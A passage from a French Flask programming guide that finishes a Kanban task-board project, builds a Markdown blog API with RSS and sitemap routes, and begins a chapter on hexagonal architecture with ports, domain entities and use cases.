      if colonne.projet_id != projet_id:
          return jsonify({'error': 'Colonne non trouvée dans ce projet'}), 404

      data = request.get_json(silent=True) or {}
      if not data.get('titre', '').strip():
          return jsonify({'error': 'Titre requis'}), 400

      # Vérifier la limite WIP
      if colonne.limite_wip:
          nb_taches = Tache.query.filter_by(colonne_id=colonne_id,
                                             est_terminee=False).count()
          if nb_taches >= colonne.limite_wip:
              return jsonify({
                  'error': f'Limite WIP atteinte ({colonne.limite_wip} tâches max)',
                  'limite_wip': colonne.limite_wip
              }), 409

      # Trouver le dernier ordre
      dernier_ordre = db.session.query(db.func.max(Tache.ordre))\
          .filter_by(colonne_id=colonne_id).scalar() or 0

      tache = Tache(
          colonne_id=colonne_id,
          titre=data['titre'].strip(),
          description=data.get('description', '').strip() or None,
          priorite=data.get('priorite', 'normale'),
          assignee_id=data.get('assignee_id'),
          createur_id=user.id,
          ordre=dernier_ordre + 1,
          date_echeance=_parse_date(data.get('date_echeance'))
      )
      db.session.add(tache)
      db.session.commit()

      # Notifier via WebSocket
      from app.extensions import socketio
      socketio.emit('tache_creee', tache.to_dict(), room=f'projet_{projet_id}')

      return jsonify({'success': True, 'data': tache.to_dict()}), 201

  @projets_bp.route('/<int:projet_id>/taches/<int:tache_id>/deplacer', methods=['PATCH'])
  @login_requis
  def deplacer_tache(projet_id, tache_id):
      """
      Déplace une tâche vers une nouvelle colonne et/ou position.
      Utilisé pour le drag & drop Kanban.
      """
      tache = Tache.query.get_or_404(tache_id)
      data = request.get_json(silent=True) or {}

      nouvelle_colonne_id = data.get('colonne_id', tache.colonne_id)
      nouvel_ordre = data.get('ordre', tache.ordre)

      # Vérifier que la nouvelle colonne appartient au projet
      if nouvelle_colonne_id != tache.colonne_id:
          nouvelle_colonne = Colonne.query.filter_by(
              id=nouvelle_colonne_id, projet_id=projet_id
          ).first_or_404()

      # Réordonner les autres tâches
      if nouvelle_colonne_id == tache.colonne_id:
          # Déplacement dans la même colonne
          autres = Tache.query.filter(
              Tache.colonne_id == tache.colonne_id,
              Tache.id != tache.id
          ).order_by(Tache.ordre).all()
      else:
          # Déplacement vers une autre colonne
          Tache.query.filter_by(colonne_id=tache.colonne_id)\
              .filter(Tache.ordre > tache.ordre)\
              .update({'ordre': Tache.ordre - 1})

          autres = Tache.query.filter(
              Tache.colonne_id == nouvelle_colonne_id,
              Tache.id != tache.id
          ).order_by(Tache.ordre).all()

      # Insérer à la nouvelle position
      for i, t in enumerate(autres):
          t.ordre = i if i < nouvel_ordre else i + 1

      tache.colonne_id = nouvelle_colonne_id
      tache.ordre = nouvel_ordre
      db.session.commit()

      # Notifier via WebSocket
      from app.extensions import socketio
      socketio.emit('tache_deplacee', {
          'tache_id': tache_id,
          'colonne_id': nouvelle_colonne_id,
          'ordre': nouvel_ordre
      }, room=f'projet_{projet_id}')

      return jsonify({'success': True, 'data': tache.to_dict()})

  def _parse_date(date_str):
      if not date_str:
          return None
      from datetime import datetime, timezone
      try:
          return datetime.fromisoformat(date_str.replace('Z', '+00:00'))
      except (ValueError, TypeError):
          return None


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [OBJECTIF] EXERCICES PROJET 2
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  1. FACILE : Construire le projet et créer un premier tableau avec des tâches.
     Tester le déplacement de tâches entre colonnes.

  2. INTERMÉDIAIRE : Implémenter l'interface WebSocket :
     - Rejoindre la salle du projet : socketio.emit('rejoindre_projet', {id})
     - Recevoir les événements en temps réel
     - Afficher les mises à jour sans rechargement de page

  3. AVANCÉ : Implémenter les alertes d'échéance via Celery Beat.
     Chaque matin à 9h : envoyer un email aux assignés pour les tâches
     qui arrivent à échéance dans les 24h.

  4. EXPERT : Implémenter un système de changelog par tâche.
     Chaque modification (statut, assignation, commentaire) est loggée
     avec qui a fait quoi et quand.


╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 59 — PROJET 3 : BLOGAPI                                          ║
║         Blog complet avec CMS headless et moteur de recherche                     ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [LISTE] CAHIER DES CHARGES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

FONCTIONNALITÉS :
  [OK] Articles avec Markdown -> HTML (avec syntaxe surlignée)
  [OK] Catégories et tags
  [OK] Commentaires avec modération
  [OK] Recherche full-text (SQLite FTS5 ou PostgreSQL)
  [OK] Système de brouillon -> publié -> archivé
  [OK] Images avec CDN (upload + optimisation)
  [OK] Flux RSS
  [OK] Sitemap XML
  [OK] Métriques de lecture (temps de lecture estimé, nombre de vues)
  [OK] CMS headless : l'API alimente n'importe quel frontend (React, Vue...)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [ARCHIVE] MODÈLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/models/blog.py
  import re
  from datetime import datetime, timezone
  from app.extensions import db

  # Many-to-many articles <-> tags
  articles_tags = db.Table('articles_tags',
      db.Column('article_id', db.Integer, db.ForeignKey('articles.id'), primary_key=True),
      db.Column('tag_id',     db.Integer, db.ForeignKey('blog_tags.id'), primary_key=True)
  )

  class Categorie(db.Model):
      __tablename__ = 'blog_categories'
      id          = db.Column(db.Integer, primary_key=True)
      nom         = db.Column(db.String(100), nullable=False, unique=True)
      slug        = db.Column(db.String(100), nullable=False, unique=True, index=True)
      description = db.Column(db.Text, nullable=True)
      articles    = db.relationship('Article', backref='categorie', lazy='dynamic')

  class BlogTag(db.Model):
      __tablename__ = 'blog_tags'
      id   = db.Column(db.Integer, primary_key=True)
      nom  = db.Column(db.String(50), nullable=False, unique=True)
      slug = db.Column(db.String(50), nullable=False, unique=True, index=True)

  class Article(db.Model):
      __tablename__ = 'articles'
      __table_args__ = (
          db.Index('idx_article_statut_date', 'statut', 'publie_le'),
      )

      id             = db.Column(db.Integer, primary_key=True)
      auteur_id      = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=False)
      categorie_id   = db.Column(db.Integer, db.ForeignKey('blog_categories.id'), nullable=True)

      titre          = db.Column(db.String(300), nullable=False)
      slug           = db.Column(db.String(300), nullable=False, unique=True, index=True)
      extrait        = db.Column(db.Text, nullable=True)  # Résumé court
      contenu_md     = db.Column(db.Text, nullable=False)  # Markdown source
      contenu_html   = db.Column(db.Text, nullable=True)   # HTML généré (cache)

      image_une      = db.Column(db.String(500), nullable=True)  # URL image principale
      statut         = db.Column(db.String(20), default='brouillon')
      # statut : brouillon, publie, archive

      nb_vues        = db.Column(db.Integer, default=0)
      temps_lecture  = db.Column(db.Integer, nullable=True)  # En minutes

      publie_le      = db.Column(db.DateTime(timezone=True), nullable=True)
      created_at     = db.Column(db.DateTime(timezone=True),
                                 default=lambda: datetime.now(timezone.utc))
      updated_at     = db.Column(db.DateTime(timezone=True),
                                 onupdate=lambda: datetime.now(timezone.utc))

      # SEO
      meta_title       = db.Column(db.String(60), nullable=True)
      meta_description = db.Column(db.String(160), nullable=True)

      # Relations
      tags          = db.relationship('BlogTag', secondary=articles_tags, backref='articles')
      commentaires  = db.relationship('BlogCommentaire', backref='article',
                                       order_by='BlogCommentaire.created_at',
                                       cascade='all, delete-orphan')

      @staticmethod
      def generer_slug(titre: str) -> str:
          """Génère un slug SEO-friendly depuis un titre."""
          slug = titre.lower().strip()
          # Remplacer les accents
          accents = str.maketrans('àâäéèêëïîôùûüçÀÂÄÉÈÊËÏÎÔÙÛÜÇ',
                                   'aaaeeeeiioouuucAAAEEEEIIOOUUUC')
          slug = slug.translate(accents)
          # Remplacer les espaces et caractères spéciaux
          slug = re.sub(r'[^\w\s-]', '', slug)
          slug = re.sub(r'[\s_]+', '-', slug)
          slug = slug.strip('-')
          return slug[:200]

      @staticmethod
      def calculer_temps_lecture(contenu_md: str) -> int:
          """Estime le temps de lecture en minutes (vitesse moyenne : 200 mots/min)."""
          mots = len(contenu_md.split())
          return max(1, round(mots / 200))

      def compiler_markdown(self):
          """Compile le Markdown en HTML avec syntaxe surlignée."""
          import markdown
          from markdown.extensions.codehilite import CodeHiliteExtension
          from markdown.extensions.fenced_code import FencedCodeExtension
          from markdown.extensions.toc import TocExtension
          # pip install markdown pygments

          md = markdown.Markdown(extensions=[
              'markdown.extensions.extra',   # tableaux, abbréviations...
              'markdown.extensions.meta',    # métadonnées YAML en tête
              FencedCodeExtension(),         # ```python ... ```
              CodeHiliteExtension(
                  linenums=False,
                  css_class='highlight'
              ),
              TocExtension(permalink=True),  # Table des matières avec ancres
          ])
          self.contenu_html = md.convert(self.contenu_md)
          return self.contenu_html

      def to_dict(self, full=False):
          data = {
              'id':            self.id,
              'titre':         self.titre,
              'slug':          self.slug,
              'extrait':       self.extrait,
              'statut':        self.statut,
              'nb_vues':       self.nb_vues,
              'temps_lecture': self.temps_lecture,
              'image_une':     self.image_une,
              'publie_le':     self.publie_le.isoformat() if self.publie_le else None,
              'auteur_id':     self.auteur_id,
              'categorie':     {
                  'id': self.categorie.id,
                  'nom': self.categorie.nom,
                  'slug': self.categorie.slug
              } if self.categorie else None,
              'tags':          [{'nom': t.nom, 'slug': t.slug} for t in self.tags],
              'nb_commentaires': len([c for c in self.commentaires if c.approuve]),
          }
          if full:
              data['contenu_html'] = self.contenu_html or self.compiler_markdown()
              data['meta'] = {
                  'title': self.meta_title or self.titre,
                  'description': self.meta_description or self.extrait or ''
              }
          return data

  class BlogCommentaire(db.Model):
      __tablename__ = 'blog_commentaires'
      id         = db.Column(db.Integer, primary_key=True)
      article_id = db.Column(db.Integer, db.ForeignKey('articles.id',
                             ondelete='CASCADE'), nullable=False, index=True)
      auteur_id  = db.Column(db.Integer, db.ForeignKey('utilisateurs.id'), nullable=True)
      # Pour les commentaires anonymes :
      auteur_nom   = db.Column(db.String(100), nullable=True)
      auteur_email = db.Column(db.String(254), nullable=True)

      contenu    = db.Column(db.Text, nullable=False)
      approuve   = db.Column(db.Boolean, default=False)  # Modération
      created_at = db.Column(db.DateTime(timezone=True),
                             default=lambda: datetime.now(timezone.utc))
      parent_id  = db.Column(db.Integer, db.ForeignKey('blog_commentaires.id'),
                             nullable=True)  # Réponses imbriquées

      reponses   = db.relationship('BlogCommentaire',
                                    backref=db.backref('parent', remote_side=[id]))


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [WEB] ROUTES API BLOG
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # app/routes/api/articles.py
  from flask import Blueprint, jsonify, request, Response
  from datetime import datetime, timezone
  from sqlalchemy import or_
  from sqlalchemy.orm import joinedload
  from app.extensions import db, cache
  from app.models.blog import Article, BlogCommentaire, Categorie, BlogTag
  from app.utils.jwt_utils import login_requis, obtenir_utilisateur_courant

  articles_bp = Blueprint('articles', __name__)

  @articles_bp.route('/', methods=['GET'])
  @cache.cached(timeout=60, key_prefix=lambda: f'articles_{request.query_string.decode()}')
  def get_articles():
      """
      GET /api/v1/articles/
      Liste les articles publiés avec filtres.
      """
      page         = request.args.get('page', 1, type=int)
      per_page     = min(50, request.args.get('per_page', 10, type=int))
      categorie    = request.args.get('categorie')
      tag          = request.args.get('tag')
      q            = request.args.get('q', '').strip()
      sort         = request.args.get('sort', 'recent')

      query = Article.query.filter_by(statut='publie').options(
          joinedload(Article.categorie),
          joinedload(Article.tags)
      )

      if categorie:
          query = query.join(Categorie).filter(Categorie.slug == categorie)

      if tag:
          query = query.join(Article.tags).filter(BlogTag.slug == tag)

      if q:
          terme = f'%{q}%'
          query = query.filter(or_(
              Article.titre.ilike(terme),
              Article.extrait.ilike(terme),
              Article.contenu_md.ilike(terme)
          ))

      if sort == 'populaire':
          query = query.order_by(Article.nb_vues.desc())
      else:  # recent
          query = query.order_by(Article.publie_le.desc())

      pagination = query.paginate(page=page, per_page=per_page, error_out=False)

      return jsonify({
          'success': True,
          'data':    [a.to_dict() for a in pagination.items],
          'meta': {
              'total':    pagination.total,
              'page':     page,
              'per_page': per_page,
              'pages':    pagination.pages
          }
      })

  @articles_bp.route('/<string:slug>', methods=['GET'])
  def get_article(slug):
      """GET /api/v1/articles/<slug> — Récupère un article par son slug."""
      article = Article.query.filter_by(slug=slug, statut='publie').first_or_404()

      # Incrémenter les vues (via Redis pour être rapide)
      try:
          from app.utils.redis_client import redis_client
          redis_client.incr(f'blog:vues:{article.id}')
          article.nb_vues = int(redis_client.get(f'blog:vues:{article.id}') or article.nb_vues)
      except Exception:
          article.nb_vues += 1
          db.session.commit()

      return jsonify({'success': True, 'data': article.to_dict(full=True)})

  @articles_bp.route('/', methods=['POST'])
  @login_requis
  def creer_article():
      """POST /api/v1/articles/ — Créer un article (brouillon)."""
      user = obtenir_utilisateur_courant()
      data = request.get_json(silent=True) or {}

      titre = data.get('titre', '').strip()
      if not titre:
          return jsonify({'error': 'Titre requis'}), 400

      contenu_md = data.get('contenu', '').strip()
      if not contenu_md:
          return jsonify({'error': 'Contenu requis'}), 400

      # Générer le slug unique
      slug_base = Article.generer_slug(titre)
      slug = slug_base
      compteur = 1
      while Article.query.filter_by(slug=slug).first():
          slug = f"{slug_base}-{compteur}"
          compteur += 1

      article = Article(
          auteur_id=user.id,
          titre=titre,
          slug=slug,
          extrait=data.get('extrait', '').strip() or None,
          contenu_md=contenu_md,
          statut='brouillon',
          categorie_id=data.get('categorie_id'),
          meta_title=data.get('meta_title'),
          meta_description=data.get('meta_description')
      )

      # Compiler le Markdown
      article.compiler_markdown()
      article.temps_lecture = Article.calculer_temps_lecture(contenu_md)

      db.session.add(article)

      # Associer les tags
      if data.get('tags'):
          for nom_tag in data['tags']:
              slug_tag = Article.generer_slug(nom_tag)
              tag = BlogTag.query.filter_by(slug=slug_tag).first()
              if not tag:
                  tag = BlogTag(nom=nom_tag.strip(), slug=slug_tag)
                  db.session.add(tag)
              article.tags.append(tag)

      db.session.commit()
      return jsonify({'success': True, 'data': article.to_dict(full=True)}), 201

  @articles_bp.route('/<string:slug>/publier', methods=['POST'])
  @login_requis
  def publier_article(slug):
      """Passe un article de brouillon -> publié."""
      user = obtenir_utilisateur_courant()
      article = Article.query.filter_by(slug=slug).first_or_404()

      if article.auteur_id != user.id and user.role != 'admin':
          return jsonify({'error': 'Accès refusé'}), 403

      if article.statut == 'publie':
          return jsonify({'error': 'Article déjà publié'}), 400

      article.statut = 'publie'
      article.publie_le = datetime.now(timezone.utc)
      db.session.commit()

      # Invalider le cache
      cache.delete_many('articles_*')

      return jsonify({'success': True, 'data': article.to_dict()})

  # ── FLUX RSS ──────────────────────────────────────────────────────────
  @articles_bp.route('/rss.xml', methods=['GET'])
  def rss():
      """GET /api/v1/articles/rss.xml — Flux RSS des derniers articles."""
      articles = Article.query.filter_by(statut='publie')\
          .order_by(Article.publie_le.desc()).limit(20).all()

      rss_items = ''
      for a in articles:
          rss_items += f"""
          <item>
              <title><![CDATA[{a.titre}]]></title>
              <link>https://blog.bookflow.com/articles/{a.slug}</link>
              <guid>https://blog.bookflow.com/articles/{a.slug}</guid>
              <pubDate>{a.publie_le.strftime('%a, %d %b %Y %H:%M:%S +0000') if a.publie_le else ''}</pubDate>
              <description><![CDATA[{a.extrait or ''}]]></description>
          </item>"""

      rss_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
      <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
          <channel>
              <title>BookFlow Blog</title>
              <link>https://blog.bookflow.com</link>
              <description>Le blog de BookFlow — actualités et articles</description>
              <language>fr-FR</language>
              <atom:link href="https://api.bookflow.com/api/v1/articles/rss.xml"
                         rel="self" type="application/rss+xml"/>
              {rss_items}
          </channel>
      </rss>"""

      return Response(rss_xml, mimetype='application/rss+xml')

  # ── SITEMAP XML ──────────────────────────────────────────────────────
  @articles_bp.route('/sitemap.xml', methods=['GET'])
  def sitemap():
      """GET /api/v1/articles/sitemap.xml — Sitemap pour les moteurs de recherche."""
      articles = Article.query.filter_by(statut='publie')\
          .order_by(Article.publie_le.desc()).all()

      urls = ''
      for a in articles:
          date_modif = (a.updated_at or a.publie_le or a.created_at)
          if date_modif:
              date_str = date_modif.strftime('%Y-%m-%d')
          else:
              date_str = ''

          urls += f"""
          <url>
              <loc>https://blog.bookflow.com/articles/{a.slug}</loc>
              <lastmod>{date_str}</lastmod>
              <changefreq>weekly</changefreq>
              <priority>0.8</priority>
          </url>"""

      sitemap_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
      <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
          <url>
              <loc>https://blog.bookflow.com</loc>
              <priority>1.0</priority>
          </url>
          {urls}
      </urlset>"""

      return Response(sitemap_xml, mimetype='application/xml')


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [OBJECTIF] EXERCICES PROJET 3
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  1. FACILE : Construire le projet. Créer 3 articles en Markdown,
     les publier, les récupérer via l'API. Vérifier le flux RSS.

  2. INTERMÉDIAIRE : Implémenter la modération des commentaires.
     POST /articles/<slug>/commentaires -> en attente d'approbation
     POST /admin/commentaires/<id>/approuver -> approuver
     Les commentaires non approuvés n'apparaissent pas.

  3. AVANCÉ : Implémenter la recherche full-text avec SQLite FTS5.
     Créer la table virtuelle via une migration.
     Comparer les résultats LIKE vs FTS en termes de pertinence.

  4. EXPERT : Intégrer un éditeur Markdown côté admin (SimpleMDE ou TipTap).
     Preview en temps réel via l'API :
     POST /api/v1/articles/preview avec le Markdown en body
     -> Retourne l'HTML généré (pour l'aperçu live).


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [DOCS] TABLEAU COMPARATIF DES 3 PROJETS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ┌───────────────┬────────────────┬────────────────┬────────────────┐
  │               │  TINYURL       │  TASKFLOW      │  BLOGAPI       │
  ├───────────────┼────────────────┼────────────────┼────────────────┤
  │ Complexité    │ Intermédiaire  │ Avancé         │ Avancé         │
  │ Durée estim.  │ 2-3 jours      │ 5-7 jours      │ 4-6 jours      │
  │ BDD tables    │ 2              │ 8              │ 5              │
  │ Endpoints     │ ~10            │ ~20            │ ~15            │
  │ Redis         │ Compteurs      │ WebSocket       │ Cache + vues   │
  │ Celery        │ Analytics async│ Alertes dates  │ Non nécessaire │
  │ SocketIO      │ Non            │ Oui            │ Non            │
  │ Upload        │ Non            │ Pièces jointes │ Image une      │
  │ Markdown      │ Non            │ Descriptions   │ Contenu complet│
  │ Tests         │ 20 tests       │ 40 tests       │ 30 tests       │
  └───────────────┴────────────────┴────────────────┴────────────────┘

  COMPÉTENCES CONSOLIDÉES PAR PROJET :
  TinyURL  -> Modèles simples, redirections HTTP, analytics, QR codes
  TaskFlow -> Relations complexes, temps réel, drag&drop, WIP limits
  BlogAPI  -> Markdown, SEO, RSS/Sitemap, modération, CMS headless


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 18 — PROJETS PRATIQUES

  [DOCS] Tu as consolidé :
     -> PROJET 1 (TinyURL) : génération de codes courts, redirections 301/302,
       analytics (pays, device, referent), QR codes PNG/SVG, expiration, WIP
     -> PROJET 2 (TaskFlow) : modèles multi-relations (membres, colonnes, tâches,
       tags, commentaires, fichiers), Kanban avec limite WIP, drag & drop +
       réordonnancement, notifications WebSocket temps réel
     -> PROJET 3 (BlogAPI) : Markdown -> HTML (extensions code, TOC), génération
       de slugs SEO, temps de lecture estimé, cache par query string, flux RSS,
       Sitemap XML, modération commentaires, CMS headless

  -> Prochaine étape : Partie 19 — Clean Architecture avancée et patterns

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║         FLASK MASTER GUIDE — PARTIES 19 & 20 : CONCLUSION DU GUIDE              ║
║         Clean Architecture Avancée et Projet Final Capstone                       ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Parties        : 19 et 20 / 20  (Dernier fichier)
Chapitres      : 60 -> 63
Prérequis      : Toutes les parties précédentes
Objectif       : Architecture enterprise-grade et projet final complet

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIES 19 & 20
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  PARTIE 19 — CLEAN ARCHITECTURE AVANCÉE
  ─────────────────────────────────────────
  CHAPITRE 60 — Hexagonal Architecture (Ports & Adapters)
  CHAPITRE 61 — Domain-Driven Design (DDD) pour Flask
  CHAPITRE 62 — Patterns avancés : CQRS, Saga, Outbox

  PARTIE 20 — PROJET FINAL CAPSTONE
  ────────────────────────────────────
  CHAPITRE 63 — Projet Final : EduPlatform — Plateforme d'apprentissage complète

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              PARTIE 19 — CLEAN ARCHITECTURE AVANCÉE                               ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

╔══════════════════════════════════════════════════════════════════════════════════════╗
║         CHAPITRE 60 — HEXAGONAL ARCHITECTURE (PORTS & ADAPTERS)                   ║
║     Découpler totalement le domaine métier de l'infrastructure                    ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION — L'ARCHITECTURE HEXAGONALE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

L'architecture hexagonale (Alistair Cockburn, 2005) isole complètement
le cœur métier de tout ce qui est "infrastructure" (BDD, HTTP, emails...).

PRINCIPE FONDAMENTAL :
  Le domaine métier ne connaît pas Flask, SQLAlchemy, Redis, ni les emails.
  Il parle uniquement à des interfaces abstraites (ports).
  Les implémentations concrètes (adapters) sont branchées depuis l'extérieur.

  ┌─────────────────────────────────────────────────────────────────┐
  │                   ARCHITECTURE HEXAGONALE                       │
  │                                                                 │
  │   HTTP/REST ──-> [Port In]                                       │
  │   CLI       ──-> [Port In] ──->  DOMAINE MÉTIER  ──-> [Port Out] -> BDD      │
  │   Tests     ──-> [Port In]     (pur Python)     ──-> [Port Out] -> Email    │
  │                               indépendant                ──-> [Port Out] -> Redis  │
  │                                                                 │
  └─────────────────────────────────────────────────────────────────┘

AVANTAGES :
  [OK] Le domaine métier est testable sans Flask, sans BDD
  [OK] Changer SQLite -> PostgreSQL -> MongoDB : modifier seulement l'adaptateur
  [OK] Remplacer Flask -> FastAPI : modifier seulement l'adaptateur HTTP
  [OK] Code métier = documentation vivante des règles business


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  PORTS — LES INTERFACES ABSTRAITES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # domain/ports/repositories.py
  """
  Ports (interfaces) pour l'accès aux données.
  Ces classes abstraites définissent ce que le domaine attend
  sans savoir COMMENT c'est implémenté.
  """
  from abc import ABC, abstractmethod
  from typing import Optional, List
  from domain.entities import Livre, Utilisateur, Emprunt

  class ILivreRepository(ABC):
      """Port : interface abstraite pour la persistance des livres."""

      @abstractmethod
      def trouver_par_id(self, livre_id: int) -> Optional[Livre]:
          """Retourne un livre par son ID, ou None."""
          ...

      @abstractmethod
      def trouver_par_isbn(self, isbn: str) -> Optional[Livre]:
          ...

      @abstractmethod
      def sauvegarder(self, livre: Livre) -> Livre:
          """Crée ou met à jour un livre."""
          ...

      @abstractmethod
      def supprimer(self, livre_id: int) -> bool:
          ...

      @abstractmethod
      def lister(self, filtres: dict, page: int, per_page: int) -> tuple:
          """Returns (livres, total)."""
          ...

  class IUtilisateurRepository(ABC):
      @abstractmethod
      def trouver_par_email(self, email: str) -> Optional[Utilisateur]:
          ...

      @abstractmethod
      def sauvegarder(self, user: Utilisateur) -> Utilisateur:
          ...

  class IEmpruntRepository(ABC):
      @abstractmethod
      def creer(self, emprunt: Emprunt) -> Emprunt:
          ...

      @abstractmethod
      def trouver_actifs_par_user(self, user_id: int) -> List[Emprunt]:
          ...

  # domain/ports/services.py
  class IEmailService(ABC):
      """Port pour l'envoi d'emails."""
      @abstractmethod
      def envoyer(self, destinataire: str, sujet: str, template: str, **contexte):
          ...

  class INotificationService(ABC):
      """Port pour les notifications temps réel."""
      @abstractmethod
      def notifier(self, user_id: int, type_notif: str, donnees: dict):
          ...

  class ICacheService(ABC):
      """Port pour le cache."""
      @abstractmethod
      def get(self, cle: str):
          ...

      @abstractmethod
      def set(self, cle: str, valeur, timeout: int = None):
          ...

      @abstractmethod
      def delete(self, cle: str):
          ...


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  ENTITÉS DU DOMAINE (PURES PYTHON)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # domain/entities.py
  """
  Entités du domaine — Python pur, zéro dépendance externe.
  Pas de SQLAlchemy, pas de Flask, pas de Redis.
  """
  from dataclasses import dataclass, field
  from datetime import datetime, timezone, timedelta
  from typing import Optional, List
  from enum import Enum

  class StatutEmprunt(Enum):
      EN_COURS  = 'en_cours'
      RETOURNE  = 'retourne'
      EN_RETARD = 'en_retard'
      PERDU     = 'perdu'

  class Genre(Enum):
      SF       = 'science-fiction'
      FANTASY  = 'fantasy'
      POLICIER = 'policier'
      AUTRE    = 'autre'

  @dataclass
  class Livre:
      """Entité Livre — représentation pure du domaine."""
      titre:      str
      auteur:     str
      isbn:       Optional[str]    = None
      pages:      int              = 0
      genre:      str              = 'autre'
      disponible: bool             = True
      prix:       float            = 0.0
      id:         Optional[int]    = None

      def valider(self) -> List[str]:
          """Valide les règles métier de l'entité. Retourne les erreurs."""
          erreurs = []
          if not self.titre or len(self.titre.strip()) == 0:
              erreurs.append("Le titre est obligatoire")
          if len(self.titre) > 200:
              erreurs.append("Le titre ne peut pas dépasser 200 caractères")
          if not self.auteur:
              erreurs.append("L'auteur est obligatoire")
          if self.pages < 0:
              erreurs.append("Le nombre de pages ne peut pas être négatif")
          if self.prix < 0:
              erreurs.append("Le prix ne peut pas être négatif")
          if self.isbn and (not self.isbn.isdigit() or len(self.isbn) != 13):
              erreurs.append("L'ISBN doit contenir exactement 13 chiffres")
          return erreurs

  @dataclass
  class Utilisateur:
      email:            str
      nom:              str
      mot_de_passe_hash: str
      role:             str             = 'user'
      est_actif:        bool            = True
      id:               Optional[int]   = None

      def est_admin(self) -> bool:
          return self.role == 'admin'

      def peut_emprunter(self, nb_emprunts_actifs: int, max_emprunts: int) -> bool:
          """Règle métier : peut-il emprunter ?"""
          return self.est_actif and nb_emprunts_actifs < max_emprunts

  @dataclass
  class Emprunt:
      user_id:           int
      livre_id:          int
      date_debut:        datetime
      date_retour_prevue: datetime
      statut:            str              = StatutEmprunt.EN_COURS.value
      date_retour_reelle: Optional[datetime] = None
      id:                Optional[int]    = None

      @property
      def est_en_retard(self) -> bool:
          if self.statut != StatutEmprunt.EN_COURS.value:
              return False
          return datetime.now(timezone.utc) > self.date_retour_prevue

      @property
      def jours_restants(self) -> int:
          if self.statut != StatutEmprunt.EN_COURS.value:
              return 0
          delta = self.date_retour_prevue - datetime.now(timezone.utc)
          return max(0, delta.days)

      def retourner(self) -> None:
          """Règle métier : retourner un livre."""
          if self.statut != StatutEmprunt.EN_COURS.value:
              raise ValueError(f"Impossible de retourner un emprunt '{self.statut}'")
          self.statut = StatutEmprunt.RETOURNE.value
          self.date_retour_reelle = datetime.now(timezone.utc)


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  USE CASES (LOGIQUE APPLICATIVE)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # domain/use_cases/emprunter_livre.py
  """
  Use Case : Emprunter un livre.
  Orchestration pure des règles métier.
  Ne connaît que des interfaces, pas d'implémentations.
  """
  from dataclasses import dataclass
  from datetime import datetime, timezone, timedelta
  from typing import Optional
  from domain.entities import Emprunt
  from domain.ports.repositories import ILivreRepository, IEmpruntRepository
  from domain.ports.services import INotificationService

  @dataclass
  class EmprunterLivreInput:
      user_id:        int
      livre_id:       int
      duree_jours:    int  = 14

  @dataclass
  class EmprunterLivreOutput:
      emprunt:        Emprunt
      message:        str

  class EmprunterLivreUseCase:
      """
      Use Case : Un utilisateur emprunte un livre.

      Règles métier :
        1. Le livre doit exister
        2. Le livre doit être disponible
        3. L'utilisateur ne doit pas avoir trop d'emprunts actifs
        4. L'utilisateur ne peut pas emprunter le même livre deux fois
      """

      MAX_EMPRUNTS = 3

      def __init__(
          self,
          livre_repo:   ILivreRepository,
          emprunt_repo: IEmpruntRepository,
          notif_service: Optional[INotificationService] = None
      ):
          self.livre_repo   = livre_repo
          self.emprunt_repo = emprunt_repo
          self.notif_service = notif_service

